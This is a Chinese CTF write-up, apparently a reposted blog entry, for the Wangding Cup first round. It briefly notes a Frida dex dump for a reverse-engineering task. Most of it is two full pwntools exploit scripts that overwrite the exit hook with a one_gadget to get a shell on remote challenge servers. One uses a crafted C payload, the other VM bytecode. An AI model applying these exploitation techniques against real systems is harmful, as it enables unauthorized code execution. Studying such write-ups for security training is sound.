热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

网鼎杯第一场部分recryptopwn题解

这次没想到还拿了一道re的一血能去线下了题目名称rebang一看题目就知道需要dumpdex正好手边手机开启了frida直接dumpdex脚本一把梭,然后直接反编译

这次没想到还拿了一道re的一血 能去线下了= = 

题目名称 re bang

 

一看题目就知道需要dump dex 正好手边手机开启了frida 直接dump dex 脚本一把梭,然后直接反编译 发现flag

后来才听说是作者自己写的while 并不是用的ollvm混淆 。 。。 。

然后开始搞 这两个pwn题都是用到了 一个知识点 就是 malloc 如果块大的话 就会和ld 挨到一块

exit hook 的地址 就在ld里面

那么如果是同一个libc 那么这个偏移就固定  pwn1是实现了一个c语言的编译器 

然后根据全局变量就可以确定偏移 然后根据偏移往上面写 one_addr  可以getshell

import sys
from pwn import *
from ctypes import *
from pwn_debug.pwn_debug import *
binary='./pwn'
def change_ld(binary, ld):"""Force to use assigned new ld.so by changing the binary"""if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld))return Noneif not isinstance(binary, ELF):if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary))return Nonebinary &#61; ELF(binary)for segment in binary.segments:if segment.header[&#39;p_type&#39;] &#61;&#61; &#39;PT_INTERP&#39;:size &#61; segment.header[&#39;p_memsz&#39;]addr &#61; segment.header[&#39;p_paddr&#39;]data &#61; segment.data()if size <&#61; len(ld):log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))return Nonebinary.write(addr, ld.ljust(size, &#39;\0&#39;))if not os.access(&#39;./Pwn&#39;, os.F_OK): os.mkdir(&#39;./Pwn&#39;)path &#61; &#39;./Pwn/{}_debug&#39;.format(os.path.basename(binary.path))if os.access(path, os.F_OK): os.remove(path)info("Removing exist file {}".format(path))binary.save(path) os.chmod(path, 0b111000000) #rwx------success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return ELF(path)# LD&#61;change_ld(&#39;./main&#39;,&#39;./ld-2.23.so&#39;)
# io &#61; LD.process(env&#61;{&#39;LD_PRELOAD&#39;:&#39;./libc-2.23.so&#39;})
io&#61;remote(&#39;182.92.73.10&#39;,24573)context.log_level&#61;&#39;debug&#39;
# while True :io.recv()
# gdb.attach(io)
pay &#61; &#39;&#39;&#39;
char *a,*b,*d;
int main()
{
a&#61;"keer";
b&#61;a-0x529028;
a&#61;b&#43;0x5f0048;
a[0]&#61;0;
a&#61;a&#43;0xf00;
d&#61;b&#43;0xCD0F3;
a[0]&#61;d&0xFF;
a[1]&#61;(d>>8)&0xff;
a[2]&#61;(d>>16)&0xff;
}&#39;&#39;&#39;
pay &#61; pay.replace(&#39;\n&#39;,&#39;&#39;)
io.sendline(pay)
io.recv()io.interactive()

其中a的地址就是exit_hook  d的就是one

题目名称&#xff1a;boom2

这个题目就复杂了一些 是vmpwn   这个vm  实现了比较好的功能

先是初始化了栈

然后实现了很多功能 其中就是 

实现了函数头的 sub esp xx  mov esp ebp  

然后这里如果控制住了 esp  比如是 exit hook  然后 往里面写 one 就可以控制权限了

import sys
from pwn import *
context.log_level&#61;&#39;debug&#39;
context.arch&#61;&#39;amd64&#39;
def change_ld(binary, ld):"""Force to use assigned new ld.so by changing the binary"""if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld))return Noneif not isinstance(binary, ELF):if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary))return Nonebinary &#61; ELF(binary)for segment in binary.segments:if segment.header[&#39;p_type&#39;] &#61;&#61; &#39;PT_INTERP&#39;:size &#61; segment.header[&#39;p_memsz&#39;]addr &#61; segment.header[&#39;p_paddr&#39;]data &#61; segment.data()if size <&#61; len(ld):log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))return Nonebinary.write(addr, ld.ljust(size, &#39;\0&#39;))if not os.access(&#39;./Pwn&#39;, os.F_OK): os.mkdir(&#39;./Pwn&#39;)path &#61; &#39;./Pwn/{}_debug&#39;.format(os.path.basename(binary.path))if os.access(path, os.F_OK): os.remove(path)info("Removing exist file {}".format(path))binary.save(path) os.chmod(path, 0b111000000) #rwx------success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return ELF(path)# LD&#61;change_ld(&#39;./main&#39;,&#39;./ld-2.23.so&#39;)
# io &#61; LD.process(env&#61;{&#39;LD_PRELOAD&#39;:&#39;./libc-2.23.so&#39;})
io&#61;remote("182.92.73.10",36642)# io.recv()
# gdb.attach(io)
# pause()
off&#61;-2992620
pay&#61;flat([6,0x101f1,
0,0xbed,
9,
25,
6,-0x10ddf,
13,
off
])
io.sendline(pay)

 写的话 直接 push 操作就能控制了 这里如果看懂vm的话 就很简单了。。。

这次题目个人感觉难度是 re


推荐阅读
author-avatar
好人森森_195
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有